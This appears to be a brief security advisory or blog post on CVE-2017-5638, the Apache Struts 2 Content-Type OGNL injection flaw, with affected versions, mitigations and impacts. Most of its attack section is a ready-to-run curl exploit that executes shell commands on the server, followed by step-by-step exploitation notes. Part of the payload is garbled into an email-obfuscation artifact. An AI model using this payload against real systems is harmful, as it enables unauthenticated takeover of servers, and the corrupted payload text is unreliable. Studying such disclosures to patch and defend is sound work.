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How the mentioned CVE works:
The CVE-2017-5638 vulnerability exists within the Jakarta Multipart parser in Apache Struts 2. The flaw is triggered when an attacker sends a malformed Content-Type header within an HTTP request. Improper exception handling during file upload processing allows the header to be evaluated as an Object-Graph Navigation Language (OGNL) expression. The Struts framework mistakenly interprets this injected OGNL expression, leading to its execution on the server. This provides a direct vector for remote code execution with the privileges of the Struts application server, without requiring any form of authentication. Attackers can craft a simple request to manipulate server-side variables and ultimately achieve full system control.
Platform: Apache Struts
Version: 2.3.5 – 2.3.31, 2.5 – 2.5.10
Vulnerability : Remote Code Execution
Severity: Critical
date: 2017-03-07
Prediction: Patch Available
What Undercode Say:
`curl -H “Content-Type: %{(_=’multipart/form-data’).([email protected]@DEFAULT_MEMBER_ACCESS).(_memberAccess?(_memberAccess=dm):((container=context[‘com.opensymphony.xwork2.ActionContext.container’]).(ognlUtil=container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(ognlUtil.getExcludedPackageNames().clear()).(ognlUtil.getExcludedClasses().clear()).(context.setMemberAccess(dm)))).(cmd=’id’).(iswin=(@java.lang.System@getProperty(‘os.name’).toLowerCase().contains(‘win’))).(cmds=(iswin?{‘cmd.exe’,’/c’,cmd}:{‘/bin/bash’,’-c’,cmd})).(p=new java.lang.ProcessBuilder(cmds)).(p.redirectErrorStream(true)).(process=p.start()).(ros=(@org.apache.struts2.ServletActionContext@getResponse().getOutputStream())).(@org.apache.commons.io.IOUtils@copy(process.getInputStream(),ros)).(ros.flush())}” http://target.com/struts2-showcase/fileupload/doUpload.action`
How Exploit:
Craft malicious Content-Type header.
Send HTTP request to Struts endpoint.
OGNL expression executes commands.
Gains remote shell access.
Protection from this CVE:
Upgrade to Struts 2.3.32 or 2.5.10.1.
Implement WAF filtering rules.
Block unnecessary file uploads.
Apply input validation sanitization.
Impact:
Complete server compromise.
Unauthenticated remote code execution.
Data theft and system manipulation.
Arbitrary file system access.
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Sources:
Reported By: nvd.nist.gov
Extra Source Hub:
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